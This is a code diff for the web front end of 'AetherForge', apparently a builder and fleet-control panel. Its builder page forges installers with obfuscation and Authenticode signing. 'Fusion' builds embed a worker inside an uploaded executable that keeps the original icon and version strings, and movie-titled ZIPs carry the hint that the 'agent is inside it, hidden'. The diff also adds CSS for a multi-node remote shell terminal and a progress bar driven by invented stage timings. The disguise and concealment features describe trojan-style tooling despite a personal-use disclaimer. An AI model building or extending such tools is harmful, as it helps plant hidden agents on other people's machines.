onDeleted={loadBuilds}
|
||||
onPinned={loadBuilds}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
@@ -19,11 +19,9 @@ import {
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import { buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
fusionTitleFromFilename,
|
||||
@@ -50,6 +48,37 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
|
||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||
}
|
||||
|
||||
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
|
||||
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
|
||||
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
|
||||
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
|
||||
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
|
||||
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
|
||||
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
|
||||
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
|
||||
{ label: 'Almost done...', pct: 98, minMs: 15000 },
|
||||
];
|
||||
|
||||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
||||
if (!building) return null;
|
||||
return (
|
||||
<div className="forge-progress-wrap" aria-live="polite">
|
||||
<div className="forge-progress-header">
|
||||
<span className="forge-progress-icon">⚙</span>
|
||||
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
|
||||
<span className="forge-progress-pct">{Math.round(progress)}%</span>
|
||||
</div>
|
||||
<div className="forge-progress-track">
|
||||
<div
|
||||
className="forge-progress-fill"
|
||||
style={{ width: `${progress}%` }}
|
||||
/>
|
||||
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||||
|
||||
function loadSimpleMode(): boolean {
|
||||
@@ -63,12 +92,16 @@ function loadSimpleMode(): boolean {
|
||||
}
|
||||
|
||||
export default function BuilderPage() {
|
||||
const navigate = useNavigate();
|
||||
const [searchParams, setSearchParams] = useSearchParams();
|
||||
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
|
||||
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
const [form, setForm] = useState<BuildRequest | null>(null);
|
||||
const [building, setBuilding] = useState(false);
|
||||
const [error, setError] = useState('');
|
||||
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
|
||||
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
|
||||
@@ -92,6 +125,45 @@ export default function BuilderPage() {
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
if (!building || batchJob) {
|
||||
endForge();
|
||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
||||
return;
|
||||
}
|
||||
const startMs = Date.now();
|
||||
startForge();
|
||||
|
||||
let stageIdx = 0;
|
||||
const advance = () => {
|
||||
const elapsed = Date.now() - startMs;
|
||||
// Find the furthest stage whose minMs has been reached
|
||||
let next = 0;
|
||||
for (let i = 0; i < FORGE_STAGES.length; i++) {
|
||||
if (elapsed >= FORGE_STAGES[i].minMs) next = i;
|
||||
else break;
|
||||
}
|
||||
const s = FORGE_STAGES[next];
|
||||
// Smoothly interpolate within this stage toward the next stage's target %
|
||||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
|
||||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
|
||||
const stageElapsed = elapsed - s.minMs;
|
||||
const stageDur = nextMs - s.minMs;
|
||||
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
|
||||
const pct = s.pct + (nextPct - s.pct) * frac;
|
||||
if (next !== stageIdx) stageIdx = next;
|
||||
setStage(s.label, Math.min(98, pct));
|
||||
forgeStageTimerRef.current = setTimeout(advance, 250);
|
||||
};
|
||||
advance();
|
||||
|
||||
return () => {
|
||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
||||
};
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [building, batchJob]);
|
||||
|
||||
const setForgeMode = (simple: boolean) => {
|
||||
setSimpleMode(simple);
|
||||
try {
|
||||
@@ -142,32 +214,28 @@ export default function BuilderPage() {
|
||||
try {
|
||||
const builds = await api.listBuilds();
|
||||
setRecentBuilds(builds);
|
||||
setShowRecent(true);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
}
|
||||
};
|
||||
|
||||
// Handle ?reforge=<buildId> links from Build Manager page
|
||||
useEffect(() => {
|
||||
const reforgeId = searchParams.get('reforge');
|
||||
if (!reforgeId || recentBuilds.length === 0) return;
|
||||
const match = recentBuilds.find((b) => b.id === reforgeId);
|
||||
if (match) {
|
||||
reForgeFromBuild(match);
|
||||
setSearchParams({}, { replace: true });
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [searchParams, recentBuilds]);
|
||||
|
||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||
setStage('Build complete!', 100);
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
const url = result.bundle_download_url || result.download_url;
|
||||
const name = result.bundle_file_name || result.file_name;
|
||||
if (url && name) {
|
||||
try {
|
||||
await downloadApiFile(url, name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (result.download_url && result.file_name) {
|
||||
try {
|
||||
await downloadApiFile(result.download_url, result.file_name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
}
|
||||
// No auto-download — user downloads from the strip below or Build Manager page
|
||||
};
|
||||
|
||||
// Blueprint: save current form as a named blueprint
|
||||
@@ -250,10 +318,6 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const blueprintDiffRows = useMemo(() => {
|
||||
if (!form || !compareBlueprint) return [];
|
||||
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
|
||||
}, [form, compareBlueprint]);
|
||||
|
||||
// Blueprint: delete a blueprint
|
||||
const handleDeleteBlueprint = async (name: string) => {
|
||||
@@ -493,7 +557,8 @@ export default function BuilderPage() {
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
|
||||
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
@@ -1881,6 +1946,8 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
<ForgeProgressBar building={building && !batchJob} stage={forgeStage} progress={forgeProgress} />
|
||||
|
||||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
||||
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
||||
@@ -1900,146 +1967,39 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
{lastBuild?.success && (
|
||||
<div className="card recent-builds">
|
||||
<h2>Installer Ready</h2>
|
||||
<div className="build-success">
|
||||
<p><strong>Deploy to each machine:</strong></p>
|
||||
{lastBuild.fusion_enabled && (
|
||||
<p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
|
||||
)}
|
||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||
{lastBuild.fusion_export_dir && (
|
||||
<>
|
||||
<p><strong>Movie deliverables folder:</strong></p>
|
||||
<code className="path-display">{lastBuild.fusion_export_dir}</code>
|
||||
</>
|
||||
)}
|
||||
{lastBuild.export_path && (
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
{!lastBuild.fusion_export_dir && (
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
)}
|
||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||
<p className="form-hint">
|
||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||
{lastBuild.signed && 'Authenticode signature applied.'}
|
||||
</p>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
<div className="download-actions">
|
||||
{lastBuild.download_url && lastBuild.file_name && (
|
||||
<DownloadButton
|
||||
apiPath={lastBuild.download_url}
|
||||
filename={lastBuild.file_name}
|
||||
className="btn btn-primary btn-lg"
|
||||
>
|
||||
Download {lastBuild.file_name}
|
||||
</DownloadButton>
|
||||
<div className="forge-last-build-strip">
|
||||
<div className="forge-last-build-info">
|
||||
<span className="forge-last-build-check">✓</span>
|
||||
<div>
|
||||
<span className="forge-last-build-name">{lastBuild.file_name || 'Build ready'}</span>
|
||||
{lastBuild.file_size != null && (
|
||||
<span className="forge-last-build-size">
|
||||
{((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
|
||||
</span>
|
||||
)}
|
||||
{!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
|
||||
<DownloadButton
|
||||
key={f.file_name}
|
||||
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
|
||||
filename={f.file_name}
|
||||
className="btn btn-secondary"
|
||||
>
|
||||
Download {f.file_name}
|
||||
</DownloadButton>
|
||||
))}
|
||||
<p className="form-hint">
|
||||
{lastBuild.bundle_file_name
|
||||
? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
|
||||
: 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
|
||||
</p>
|
||||
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
|
||||
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
|
||||
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
|
||||
</div>
|
||||
{lastBuild.uninstall_export_path && (
|
||||
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
|
||||
)}
|
||||
{lastBuild.uninstall_download_url && (
|
||||
<>
|
||||
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
|
||||
{!lastBuild.uninstall_export_path && (
|
||||
<code className="path-display">{lastBuild.uninstall_path}</code>
|
||||
)}
|
||||
<AuthDownloadButton
|
||||
apiPath={lastBuild.uninstall_download_url}
|
||||
filename={lastBuild.uninstall_file_name || 'uninstall.ps1'}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Download uninstall script
|
||||
</AuthDownloadButton>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{showRecent && (
|
||||
<div className="card recent-builds">
|
||||
<div className="recent-header">
|
||||
<h2>Build Manager</h2>
|
||||
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
|
||||
<div className="forge-last-build-actions">
|
||||
{lastBuild.download_url && lastBuild.file_name && (
|
||||
<DownloadButton
|
||||
apiPath={lastBuild.download_url}
|
||||
filename={lastBuild.file_name}
|
||||
className="btn btn-primary btn-sm"
|
||||
>
|
||||
↓ Download
|
||||
</DownloadButton>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => navigate('/builds')}
|
||||
>
|
||||
View in Build Manager →
|
||||
</button>
|
||||
</div>
|
||||
<p className="form-hint">Blueprint diff, one-click re-forge, LAN QR download for each forged build.</p>
|
||||
{blueprintDiffRows.length > 0 && (
|
||||
<NeonCard accent="purple" className="section">
|
||||
<h3>Blueprint Diff vs current form</h3>
|
||||
<ul className="blueprint-diff">
|
||||
{blueprintDiffRows.map((d) => (
|
||||
<li key={d.key} className={d.kind}>
|
||||
<strong>{d.key}</strong>: {d.kind}
|
||||
{d.kind === 'changed' && ` (${JSON.stringify(d.from)} → ${JSON.stringify(d.to)})`}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</NeonCard>
|
||||
)}
|
||||
{recentBuilds.length === 0 ? (
|
||||
<p className="empty-text">No builds yet</p>
|
||||
) : (
|
||||
<div className="build-manager-grid">
|
||||
{recentBuilds.map((build) => {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName =
|
||||
build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
|
||||
return (
|
||||
<div key={build.id} className="build-manager-row">
|
||||
<div>
|
||||
<div className="build-item-name">{build.worker_name}</div>
|
||||
<div className="build-item-details">
|
||||
<span>{build.threads} threads</span>
|
||||
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
|
||||
<span>{new Date(build.created_at).toLocaleString()}</span>
|
||||
</div>
|
||||
</div>
|
||||
<LanDownloadQR url={downloadUrl} />
|
||||
<DownloadButton
|
||||
apiPath={api.buildDownloadUrl(build.id)}
|
||||
filename={exeName}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Download
|
||||
</DownloadButton>
|
||||
<AuthDownloadButton
|
||||
apiPath={api.buildUninstallUrl(build.id)}
|
||||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Uninstall script
|
||||
</AuthDownloadButton>
|
||||
<button type="button" className="btn btn-primary" disabled={building} onClick={() => reForgeFromBuild(build)}>
|
||||
Re-forge
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
548
server/web/src/pages/CruciblePage.css
Normal file
548
server/web/src/pages/CruciblePage.css
Normal file
@@ -0,0 +1,548 @@
|
||||
/* ── Crucible Page ───────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-page {
|
||||
max-width: 1400px;
|
||||
}
|
||||
|
||||
.crucible-sel-summary {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: flex-end;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
/* ── Roster ──────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-roster-card {
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.crucible-section-title {
|
||||
font-size: 0.78rem;
|
||||
letter-spacing: 0.12em;
|
||||
color: var(--text-muted);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-roster {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.65rem;
|
||||
}
|
||||
|
||||
.crucible-node-card {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
padding: 0.6rem 0.75rem;
|
||||
border-radius: 6px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.07);
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
cursor: pointer;
|
||||
transition: border-color 0.15s, background 0.15s, box-shadow 0.15s;
|
||||
min-width: 150px;
|
||||
max-width: 180px;
|
||||
flex: 1 1 150px;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.crucible-node-card:hover {
|
||||
border-color: rgba(255, 255, 255, 0.18);
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
}
|
||||
|
||||
.crucible-node-card.selected {
|
||||
border-color: var(--sel-color, var(--neon-cyan));
|
||||
background: rgba(0, 245, 255, 0.06);
|
||||
box-shadow: 0 0 12px -4px var(--sel-color, var(--neon-cyan));
|
||||
}
|
||||
|
||||
.crucible-node-card.offline {
|
||||
opacity: 0.45;
|
||||
}
|
||||
|
||||
.crucible-node-check {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
padding-top: 2px;
|
||||
}
|
||||
|
||||
.cn-checkbox {
|
||||
display: inline-block;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border: 1px solid var(--text-muted);
|
||||
border-radius: 3px;
|
||||
flex-shrink: 0;
|
||||
transition: all 0.15s;
|
||||
}
|
||||
|
||||
.cn-checkbox.checked {
|
||||
border-color: var(--neon-cyan);
|
||||
background: rgba(0, 245, 255, 0.2);
|
||||
}
|
||||
|
||||
.crucible-node-body {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.18rem;
|
||||
}
|
||||
|
||||
.cn-name {
|
||||
font-weight: 600;
|
||||
font-size: 0.88rem;
|
||||
color: var(--text-primary);
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.3rem;
|
||||
}
|
||||
|
||||
.cn-platform { font-size: 0.9rem; }
|
||||
|
||||
.cn-meta {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
}
|
||||
|
||||
.cn-badge {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
font-family: var(--font-tech);
|
||||
}
|
||||
|
||||
.cn-status-dot {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.cn-status-dot.on { background: var(--neon-green); box-shadow: 0 0 6px var(--neon-green); }
|
||||
.cn-status-dot.off { background: var(--text-muted); }
|
||||
|
||||
.cn-ip {
|
||||
font-size: 0.7rem;
|
||||
color: var(--text-muted);
|
||||
letter-spacing: 0.02em;
|
||||
}
|
||||
|
||||
.cn-stats {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.cn-ssh {
|
||||
font-size: 0.68rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
align-self: flex-start;
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); }
|
||||
.cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); }
|
||||
.cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||
|
||||
/* ── Row: Groups + Actions ───────────────────────────────────────────── */
|
||||
|
||||
.crucible-row {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 2fr;
|
||||
gap: 1rem;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
@media (max-width: 900px) {
|
||||
.crucible-row { grid-template-columns: 1fr; }
|
||||
}
|
||||
|
||||
/* ── Groups ──────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-groups-card,
|
||||
.crucible-actions-card {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.crucible-groups-list {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
min-height: 60px;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-group-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
padding: 0.35rem 0.6rem;
|
||||
border-radius: 5px;
|
||||
background: rgba(178, 75, 243, 0.1);
|
||||
border: 1px solid rgba(178, 75, 243, 0.2);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.crucible-group-item:hover { background: rgba(178, 75, 243, 0.2); }
|
||||
|
||||
.cg-name { flex: 1; color: var(--text-primary); font-weight: 500; }
|
||||
.cg-count { color: var(--text-muted); font-size: 0.75rem; }
|
||||
.cg-del {
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--text-muted);
|
||||
cursor: pointer;
|
||||
font-size: 1rem;
|
||||
line-height: 1;
|
||||
padding: 0;
|
||||
transition: color 0.1s;
|
||||
}
|
||||
.cg-del:hover { color: #ff4466; }
|
||||
|
||||
.crucible-group-new {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
/* ── Actions ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-ops {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-op-group {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.cop-label {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--text-muted);
|
||||
min-width: 52px;
|
||||
}
|
||||
|
||||
.crucible-op-btn {
|
||||
padding: 0.3rem 0.7rem;
|
||||
font-size: 0.8rem;
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
border: 1px solid rgba(255, 176, 32, 0.25);
|
||||
color: var(--neon-amber);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s;
|
||||
font-family: var(--font-tech);
|
||||
}
|
||||
|
||||
.crucible-op-btn:hover:not(:disabled) {
|
||||
background: rgba(255, 176, 32, 0.12);
|
||||
border-color: var(--neon-amber);
|
||||
}
|
||||
|
||||
.crucible-op-btn:disabled { opacity: 0.35; cursor: not-allowed; }
|
||||
|
||||
.crucible-op-wake {
|
||||
color: var(--neon-green);
|
||||
border-color: rgba(57, 255, 20, 0.3);
|
||||
}
|
||||
.crucible-op-wake:hover:not(:disabled) {
|
||||
background: rgba(57, 255, 20, 0.1);
|
||||
border-color: var(--neon-green);
|
||||
}
|
||||
|
||||
.crucible-shell-tabs {
|
||||
display: flex;
|
||||
gap: 0;
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.crucible-shell-tab {
|
||||
padding: 0.25rem 0.65rem;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--text-muted);
|
||||
cursor: pointer;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.75rem;
|
||||
transition: all 0.15s;
|
||||
border-right: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.crucible-shell-tab:last-child { border-right: none; }
|
||||
|
||||
.crucible-shell-tab.active {
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.crucible-sel-chips {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.25rem;
|
||||
}
|
||||
|
||||
.crucible-chip {
|
||||
padding: 0.15rem 0.5rem;
|
||||
border: 1px solid;
|
||||
border-radius: 3px;
|
||||
font-size: 0.75rem;
|
||||
font-family: var(--font-tech);
|
||||
cursor: pointer;
|
||||
opacity: 0.8;
|
||||
transition: opacity 0.1s;
|
||||
}
|
||||
.crucible-chip:hover { opacity: 1; }
|
||||
|
||||
/* ── Terminal ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-term-card {
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.crucible-term-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 0.6rem;
|
||||
}
|
||||
|
||||
.crucible-term-target {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.75rem;
|
||||
margin-left: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-terminal {
|
||||
background: rgba(0, 0, 0, 0.55);
|
||||
border: 1px solid rgba(57, 255, 20, 0.15);
|
||||
border-radius: 5px;
|
||||
padding: 0.6rem 0.75rem;
|
||||
height: 340px;
|
||||
overflow-y: auto;
|
||||
font-family: 'Courier New', Consolas, monospace;
|
||||
font-size: 0.8rem;
|
||||
line-height: 1.55;
|
||||
margin-bottom: 0.6rem;
|
||||
scroll-behavior: smooth;
|
||||
}
|
||||
|
||||
.crucible-terminal::-webkit-scrollbar { width: 4px; }
|
||||
.crucible-terminal::-webkit-scrollbar-thumb { background: rgba(57,255,20,0.25); border-radius: 2px; }
|
||||
|
||||
.crucible-term-empty {
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
padding: 0.5rem 0;
|
||||
}
|
||||
|
||||
.crucible-term-line {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
gap: 0.4rem;
|
||||
padding: 0.05rem 0;
|
||||
}
|
||||
|
||||
.ctl-agent {
|
||||
font-size: 0.72rem;
|
||||
font-family: var(--font-tech);
|
||||
white-space: pre;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.ctl-arrow {
|
||||
flex-shrink: 0;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.ctl-text {
|
||||
flex: 1;
|
||||
color: var(--text-primary);
|
||||
word-break: break-all;
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.cmd-line .ctl-text {
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.err-line .ctl-text {
|
||||
color: #ff4466;
|
||||
}
|
||||
|
||||
.ctl-ts {
|
||||
font-size: 0.65rem;
|
||||
color: rgba(255, 255, 255, 0.2);
|
||||
flex-shrink: 0;
|
||||
margin-left: auto;
|
||||
}
|
||||
|
||||
.crucible-term-input-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.crucible-prompt {
|
||||
font-size: 0.8rem;
|
||||
color: var(--neon-green);
|
||||
flex-shrink: 0;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.crucible-term-input {
|
||||
flex: 1;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
border: 1px solid rgba(57, 255, 20, 0.25);
|
||||
border-radius: 4px;
|
||||
padding: 0.4rem 0.6rem;
|
||||
color: var(--neon-green);
|
||||
font-family: 'Courier New', Consolas, monospace;
|
||||
font-size: 0.85rem;
|
||||
outline: none;
|
||||
transition: border-color 0.15s;
|
||||
}
|
||||
|
||||
.crucible-term-input:focus { border-color: var(--neon-green); }
|
||||
.crucible-term-input:disabled { opacity: 0.4; }
|
||||
|
||||
.crucible-send-btn {
|
||||
padding: 0.4rem 1rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.8rem;
|
||||
background: rgba(57, 255, 20, 0.1);
|
||||
border: 1px solid rgba(57, 255, 20, 0.35);
|
||||
color: var(--neon-green);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s;
|
||||
letter-spacing: 0.08em;
|
||||
}
|
||||
|
||||
.crucible-send-btn:hover:not(:disabled) {
|
||||
background: rgba(57, 255, 20, 0.2);
|
||||
box-shadow: 0 0 10px rgba(57, 255, 20, 0.25);
|
||||
}
|
||||
|
||||
.crucible-send-btn:disabled { opacity: 0.35; cursor: not-allowed; }
|
||||
.crucible-send-btn.busy { animation: pulse-green 1s ease-in-out infinite; }
|
||||
|
